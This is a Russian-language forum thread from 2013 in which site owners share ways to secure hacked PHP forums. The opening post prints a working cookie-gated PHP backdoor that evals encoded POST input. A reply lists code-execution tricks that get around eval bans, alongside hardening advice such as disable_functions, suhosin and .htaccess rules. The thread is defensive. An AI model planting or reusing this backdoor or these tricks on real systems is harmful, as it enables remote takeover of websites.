nikk |
Отправлено: 22 декабря 2013 — 21:00
|
Super Member
Покинул форум
Сообщений всего: 1122
Дата рег-ции: Нояб. 2009
Репутация: 25
|
Создать эту тему решил я после того как мои форумы были взломаны...
Предлагаю в этой теме собрать все известные нам способы защиты наших детищ.
Начну я..
Зайдите к себе на форум, в папки форум_1, форум_2, и т.д, внимательно просмотрите свои папки.. Вполне вероятно, вы увидите вот такой примерно файл: 4d370c6a22d6d. php. В файле будет код, примерно такой:
CODE:<?php
if (isset($_COOKIE["adm"])) {
if (isset($_POST['crc'], $_POST['cmd'])) {
if (sprintf('%u', crc32($_POST['cmd'])) == $_POST['crc']) {
eval(gzuncompress(base64_decode($_POST['cmd'])));
} else
echo "repeat_cmd";
}
}
?>
Это значит, Вас "поимели"! Это вредоносный код, удаляйте безжалостно!
Далее.. чтобы вручную не лазить, советую скачать скрипт Айболит..
Ссылка: http://revisium.com/ai/
там все хорошо расписано, зааливайте скрипт в корень, далее анализируйте свои файлы и удаляйте нечисть, которую скрипт обнаружит!
Я с помощью этого скрипта удалил просто неимоверное количество нечисти!
Теперь, если кто знает реальные способы защиты форумов, пишите плиз здесь, будем сообща защищать.
(Добавление)
Много говорят про выставлении прав на папки и файлы.. У меня изначально стояли права по умолчанию на сервере, папки 775, файлы 644, и тем не менее, бекдор мне залили на форум.. Значит не так спасают эти права, или я не прав?
Пароль от Тотал Командера менять регулярно, тоже наверное вещь хорошая, что и делаю в последнее время.. |
|
|
1Bot |
Отправлено: 23 декабря 2013 — 06:45
|
Super Member
Покинул форум
Сообщений всего: 773
Дата рег-ции: Апр. 2009
Откуда: Днепропетровск
Репутация: 69
|
Закрытие возможных путей выполнения залитых на сайт шеллов
1) Включение режима Safe Mode в настройках php.ini safe_mode = on.
Если PHP настроен, как Safe Mode + open_basedir, тогда никакие файлы вне open_basedir не обслуживаются PHP, не стартуют программы, которые находятся вне данной директории.
Если PHP скомпилирован с опцией --enable-safe-mode, то по умолчанию принимает значение On (включено), иначе - Off (выключено).
!!! Данная возможность была помечена УСТАРЕВШЕЙ начиная с версии PHP 5.3.0 и была УДАЛЕНА в версии PHP 5.4.0.
Функции, ограниченные в безопасном режиме (Отобразить)Функция Ограничения
dbmopen() Проверяет, имеют ли файлы/каталоги, с которыми вы собираетесь работать, такой же UID (владельца), как и выполняемый скрипт.
dbase_open() Проверяет, имеют ли файлы/каталоги, с которыми вы собираетесь работать, такой же UID (владельца), как и выполняемый скрипт.
filepro() Проверяет, имеют ли файлы/каталоги, с которыми вы собираетесь работать, такой же UID (владельца), как и выполняемый скрипт.
filepro_rowcount() Проверяет, имеют ли файлы/каталоги, с которыми вы собираетесь работать, такой же UID (владельца), как и выполняемый скрипт.
filepro_retrieve() Проверяет, имеют ли файлы/каталоги, с которыми вы собираетесь работать, такой же UID (владельца), как и выполняемый скрипт.
ifx_* sql_safe_mode ограничения (не путать с safe_mode)
ingres_* sql_safe_mode ограничения (не путать с safe_mode)
mysql_* sql_safe_mode ограничения (не путать с safe_mode)
pg_lo_import() Проверяет, имеют ли файлы/каталоги, с которыми вы собираетесь работать, такой же UID (владельца), как и выполняемый скрипт.
posix_mkfifo() Проверяет, имеет ли каталог, с которым вы собираетесь работать, такой же UID (владельца), как и выполняемый скрипт.
putenv() Подчиняется настройкам the safe_mode_protected_env_vars и safe_mode_allowed_env_vars. Ознакомьтесь с более подробным описанием функции putenv().
move_uploaded_file() Проверяет, имеют ли файлы/каталоги, с которыми вы собираетесь работать, такой же UID (владельца), как и выполняемый скрипт.
chdir() Проверяет, имеет ли каталог, с которым вы собираетесь работать, такой же UID (владельца), как и выполняемый скрипт.
dl() Эта функция недоступна в безопасном режиме.
backtick operator Эта функция недоступна в безопасном режиме.
shell_exec() (функция эквивалентна backticks) Эта функция недоступна в безопасном режиме.
exec() Вы можете запускать исполняемые файлы, ограниченные деревом каталогов, указанным в safe_mode_exec_dir. Исходя из практических соображений, использовать .. при указании пути запрещено. Следует заметить, что к аргументу этой функции применяется escapeshellcmd().
system() Вы можете запускать исполняемые файлы, ограниченные деревом каталогов, указанным в safe_mode_exec_dir. Исходя из практических соображений, использовать .. при указании пути запрещено. Следует заметить, что к аргументу этой функции применяется escapeshellcmd()
passthru() Вы можете запускать исполняемые файлы, ограниченные деревом каталогов, указанным в safe_mode_exec_dir. Исходя из практических соображений, использовать .. при указании пути запрещено. Следует заметить, что к аргументу этой функции применяется escapeshellcmd().
popen() Вы можете запускать исполняемые файлы, ограниченные деревом каталогов, указанным в safe_mode_exec_dir. Исходя из практических соображений, использовать .. при указании пути запрещено. Следует заметить, что к аргументу этой функции применяется escapeshellcmd().
fopen() Проверяет, имеет ли каталог, с которым вы собираетесь работать, такой же UID (владельца), как и выполняемый скрипт.
mkdir() Проверяет, имеет ли каталог, с которым вы собираетесь работать, такой же UID (владельца), как и выполняемый скрипт.
rmdir() Проверяет, имеет ли каталог, с которым вы собираетесь работать, такой же UID (владельца), как и выполняемый скрипт.
rename() Проверяет, имеют ли файлы/каталоги, с которыми вы собираетесь работать, такой же UID (владельца), как и выполняемый скрипт. Проверяет, имеет ли каталог, с которым вы собираетесь работать, такой же UID (владельца), как и выполняемый скрипт.
unlink() Проверяет, имеют ли файлы/каталоги, с которыми вы собираетесь работать, такой же UID (владельца), как и выполняемый скрипт. Проверяет, имеет ли каталог, с которым вы собираетесь работать, такой же UID (владельца), как и выполняемый скрипт.
copy() Проверяет, имеют ли файлы/каталоги, с которыми вы собираетесь работать, такой же UID (владельца), как и выполняемый скрипт. Проверяет, имеет ли каталог, с которым вы собираетесь работать, такой же UID (владельца), как и выполняемый скрипт. (для параметров source и target)
chgrp() Проверяет, имеют ли файлы/каталоги, с которыми вы собираетесь работать, такой же UID (владельца), как и выполняемый скрипт.
chown() Проверяет, имеют ли файлы/каталоги, с которыми вы собираетесь работать, такой же UID (владельца), как и выполняемый скрипт.
chmod() Проверяет, имеют ли файлы/каталоги, с которыми вы собираетесь работать, такой же UID (владельца), как и выполняемый скрипт. Кроме того, вы не можете устанавливать UID, SGID и sticky-биты.
touch() Проверяет, имеют ли файлы/каталоги, с которыми вы собираетесь работать, такой же UID (владельца), как и выполняемый скрипт. Проверяет, имеет ли каталог, с которым вы собираетесь работать, такой же UID (владельца), как и выполняемый скрипт.
symlink() Проверяет, имеют ли файлы/каталоги, с которыми вы собираетесь работать, такой же UID (владельца), как и выполняемый скрипт. Проверяет, имеет ли каталог, с которым вы собираетесь работать, такой же UID (владельца), как и выполняемый скрипт. (Замечание: проверка выполняется только для параметра target)
link() Проверяет, имеют ли файлы/каталоги, с которыми вы собираетесь работать, такой же UID (владельца), как и выполняемый скрипт. Проверяет, имеет ли каталог, с которым вы собираетесь работать, такой же UID (владельца), как и выполняемый скрипт. (Замечание: проверка выполняется только для параметра target)
apache_request_headers() В безопасном режиме, заголовки, начинающиеся с authorization (независимо от регистра), не возвращаются.
header() В безопасном режиме, текущий UID скрипта будет добавлен к realm-части заголовка WWW-Authenticate, если вы его устанавливаете (используется для HTTP-аутентификации).
переменные PHP_AUTH В безопасном режиме, переменные PHP_AUTH_USER, PHP_AUTH_PW и AUTH_TYPE недоступны как элементы массива $_SERVER. Несмотря на это, вы все еще можете использовать переменную REMOTE_USER для идентификации пользователя. (Замечание: актуально только для PHP 4.3.0 и выше)
highlight_file(), show_source() Проверяет, имеют ли файлы/каталоги, с которыми вы собираетесь работать, такой же UID (владельца), как и выполняемый скрипт. Проверяет, имеет ли каталог, с которым вы собираетесь работать, такой же UID (владельца), как и выполняемый скрипт. (Замечание: актуально только для PHP 4.2.1 и выше)
parse_ini_file() Проверяет, имеют ли файлы/каталоги, с которыми вы собираетесь работать, такой же UID (владельца), как и выполняемый скрипт. Проверяет, имеет ли каталог, с которым вы собираетесь работать, такой же UID (владельца), как и выполняемый скрипт. (Замечание: актуально только для PHP 4.2.1 и выше)
set_time_limit() Не имеет никакого эффекта, если используется безопасный режим.
max_execution_time Не имеет никакого эффекта, если используется безопасный режим.
mail() В безопасном режиме пятый параметр недоступен. (Замечание: актуально только для PHP 4.2.3 и выше)
session_start() Владелец скрипта должен совпадать с владельцем каталога session.save_path, если используются хранилище по умолчанию files и session.save_handler.
Все функции работы с файлами и потоками. Проверяет, имеют ли файлы/каталоги, с которыми вы собираетесь работать, такой же UID (владельца), как и выполняемый скрипт. Проверяет, имеет ли каталог, с которым вы собираетесь работать, такой же UID (владельца), как и выполняемый скрипт. (смотрите также php.ini-опцию safe_mode_include_dir.
При использовании PHP как модуль Apache пользователь ограничен своей директорией ограничением open_basedir, при использовании PHP как CGI правами пользователя в системе. Если защищенный режим в PHP включать, то с ним возникают проблемы со скриптами, которые хотят писать файлы на диск.
!!! Важно !!! Safe Mode не блокирует функции include(), require(), fopen(), fwrite() и многие другие, не менее полезные для взломщика, который реализует задуманое с помощью остальных функций PHP не прибегая к запуску системных команд, а используя оператор eval().
2) Запрет использования опасных функций. Смотрите /etc/php5/*/php.ini (для разных режимов свои) на предмет disable_functions =
Нельзя запрещать выполнение функций в httpd.conf c помощью disable_functions, эту директиву можно указывать только в php.ini.
Если функция используется в коде и попала в список disable_functions, то выдаст error в браузер (при включенном выводе ошибок), иначе функция просто вернет false;
!!! Важно!!! Опция disable_functions в php.ini на eval() не влияет, так как это не функция, а конструкция языка php.
3) Очень гибкие права доступа к подобным функциям есть в патче для apache suhosin. Можно указать список запрещенных к выполению функции в конфиге конкретного virtualhost с помощью php_admin_value disable_functions.
Можно запретить использование eval()
suhosin.executor.disable_eval = On
Помимо eval() еще есть куча других способов выполнить php код.
Например:
1. $newfunc = create_function('', '};phpinfo();//');
2. preg_replace с модификатором /e
3. обратные ковычки: `ls -lia`
4. и куча других фишек...
З.Ы. Лечите болезнь, а не следствия. Как к Вам заливают шеллы? Можно отключить интерпретацию php в папке uploads, или подобной, проверять заливаемые файлы.(Отредактировано автором: 23 декабря 2013 — 06:47) |
|
|
1Bot |
Отправлено: 23 декабря 2013 — 14:57
|
Super Member
Покинул форум
Сообщений всего: 773
Дата рег-ции: Апр. 2009
Откуда: Днепропетровск
Репутация: 69
|
nikk пишет:1Bot пишет:1) Включение режима Safe Mode в настройках php.ini safe_mode = on.
прошу пояснить, это вообще где делается?
Смотрите файлы /etc/php5/*/php.ini (для разных режимов свои)
nikk пишет:1Bot пишет:Можно отключить интерпретацию php в папке uploads, или подобной, проверять заливаемые файлы.
можно поподробнее?
Если сайт как-то взломают, то скрипты (шеллы и т.д) закачают в папку с правами 777 (например в папку с картинками).
Можно через .htaccess запретить исполнения скриптов в этих папках.
Во все каталоги, доступные для записи, закачиваем (или добавляем строчки к существующему) .htaccess с содержимым:
CODE:php_flag engine 0
AddType "text/html" .php .cgi .pl .fcgi .fpl .phtml .shtml .php2 .php3 .php4 .php5 .asp .jsp
<Files ~ "\.(php[2-5]?|cgi|pl|fcgi|fpl|phtml|shtml|asp|jsp)$">
Deny from all
</Files>
<Files .htaccess>
order allow,deny
deny from all
</Files>
Этим самым мы отключаем PHP в данном каталоге и заставляем для скриптов закрыть доступ.
Можно конечно попробовать загрузить и перезаписать сам .htaccess. Поэтому необходимо запретить конкретно у .htaccess права на запись.
CODE:# chmod a-w .htaccess |
|
|
|